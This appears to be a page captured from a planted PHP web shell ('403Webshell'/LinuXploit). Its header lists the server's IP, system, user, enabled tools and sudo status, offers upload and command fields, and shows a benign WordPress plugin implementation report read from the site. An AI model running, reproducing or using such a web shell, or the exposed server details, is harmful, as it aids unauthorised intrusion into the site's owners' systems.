403Webshell
Server IP : 43.165.66.61  /  Your IP : 216.73.216.24
Web Server : nginx/1.24.0
System : Linux VM-0-9-ubuntu 6.8.0-117-generic #117-Ubuntu SMP PREEMPT_DYNAMIC Tue May 5 19:26:24 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/goldprinting/reports/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/goldprinting/reports/site-robot-publisher-implementation-report.md
# Site Robot Publisher Implementation Report

Date: 2026-06-19

## Goal

Implement the Blog receiving, saving, publishing, and display workflow described in the provided technical document for the Gold Printing website.

The only intentional adaptation is language and business context: this site is an English B2B foreign trade printing website, so labels, API messages, category names, and frontend display text use English.

## Implemented

### WordPress Plugin

Created lightweight plugin:

- `wp-content/plugins/site-robot-publisher/site-robot-publisher.php`
- `wp-content/plugins/site-robot-publisher/README.md`

Plugin endpoints:

- `GET /wp-json/site-robot/v1/health`
- `POST /wp-json/site-robot/v1/media`
- `POST /wp-json/site-robot/v1/posts`

Authentication:

- `Authorization: Bearer TOKEN`
- `X-SITE-ROBOT-TOKEN: TOKEN`

Token storage:

- `SITE_ROBOT_PUBLISHER_TOKEN` constant, or
- `site_robot_publisher_token` WordPress option

### Media Upload

Implemented image upload to the WordPress media library.

Supported upload fields:

- `file`
- `image`
- `cover_image`

Supported image types:

- JPEG
- PNG
- WebP
- GIF

Saved metadata:

- `_wp_attachment_image_alt`
- `_site_source_task_id`

### Blog Post Publishing

Implemented JSON publishing to normal WordPress `post`.

Supported content types:

- `type=image`
- `type=video`

Supported statuses:

- `draft`
- `publish`
- `future`

Implemented idempotency:

- `source_task_id` updates the existing post instead of creating duplicates.

Implemented SEO/meta storage:

- `_site_source_task_id`
- `_site_robot_post_type`
- `_site_content_type`
- `_site_generated_by`
- `_site_seo_title`
- `_site_meta_description`
- `_site_bilibili_url`
- `_site_video_url`
- `_site_video_embed_url`
- `_site_video_duration`
- `_site_original_platform`
- `_site_social_platforms`
- `_site_robot_payload`
- `_gp_seo_title`
- `_gp_meta_description`
- `rank_math_title`
- `rank_math_description`

### Video Rules

Implemented video post rules:

- Video file is not uploaded to the website.
- Website stores `bilibili_url`, `video_url`, and `video_embed_url`.
- `content_html` is saved to `post_content`.
- Video content is cleaned so inline `<img>` tags are removed.
- The Bilibili iframe is rendered by the theme, not inserted into `post_content`.
- Backup Bilibili link is shown on the detail page.

### Publish Logs

Created log table:

- `wp_site_robot_publish_logs`

Logged fields:

- request time
- endpoint
- source task ID
- result
- post ID
- URL
- error message
- request hash
- remote IP

## Theme Display Changes

Modified:

- `wp-content/themes/goldprinting-seogeo/template-parts/card.php`
- `wp-content/themes/goldprinting-seogeo/single.php`
- `wp-content/themes/goldprinting-seogeo/assets/css/main.css`

Blog cards now show:

- Image Article / Video Article label
- video duration when available
- generated-by label
- play badge for video cards

Single post pages now support:

- video article detection from `_site_content_type`
- Bilibili iframe below the title area
- no duplicate excerpt above video content
- no featured image in video hero area
- backup Bilibili link
- Article Info type and video duration

## English B2B Adaptations

Chinese labels from the source document were not copied.

Adapted labels:

- 图文贴 -> Image Article
- 视频贴 -> Video Article
- 相关文章图片 -> Related Images
- 备用链接 -> Watch on Bilibili
- 生成者 -> generated_by / Gold Printing Content Robot

Default category behavior:

- Posts are assigned to `Blog`.
- Additional English categories such as `Image Article` or `Video Article` may be supplied by the publisher.

The `zdhk` prefix was not used. This site uses `_site_*` plus existing `_gp_*` SEO fields.

## Deployment

Server deployment path:

- `/var/www/goldprinting/wp-content/plugins/site-robot-publisher/`
- `/var/www/goldprinting/wp-content/themes/goldprinting-seogeo/template-parts/card.php`
- `/var/www/goldprinting/wp-content/themes/goldprinting-seogeo/single.php`
- `/var/www/goldprinting/wp-content/themes/goldprinting-seogeo/assets/css/main.css`

Backup path before overwrite:

- `/home/ubuntu/gp-robot-publisher-backup-20260619-104702`

Plugin status:

- Active

## Validation

Passed checks:

1. PHP syntax check passed for plugin.
2. PHP syntax check passed for modified theme templates.
3. Plugin activation succeeded.
4. Token option exists.
5. `/wp-json/site-robot/v1/health` returned success.
6. `/wp-json/site-robot/v1/media` uploaded an image to WordPress media library.
7. `/wp-json/site-robot/v1/posts` published an image article successfully.
8. Repeating the same `source_task_id` updated the same post ID.
9. `/wp-json/site-robot/v1/posts` published a video article successfully.
10. Video article frontend output included the Bilibili player.
11. Video article frontend output included the Bilibili backup link.
12. Video `post_content` had no `<img>` tags after cleaning.
13. Temporary verification posts and media were deleted after validation.
14. `/blog/` returned HTTP 200.
15. Log table `wp_site_robot_publish_logs` exists.

## Not Changed

- No URL structure changes.
- No 301 redirects.
- No News publishing workflow changes.
- No GEO content center API changes.
- No Nginx, SSL, robots.txt, or sitemap route changes.
- No full theme redesign.

## Remaining Notes

The plugin supports the required publishing workflow. The external publishing software should now be configured to use:

```text
https://www.printing-in-china.com/wp-json/site-robot/v1
```

The API token must be provided through the secure publishing software secret store and must not be exposed in frontend code, prompts, Git, or public reports.

Youez - 2016 - github.com/yon3zu
LinuXploit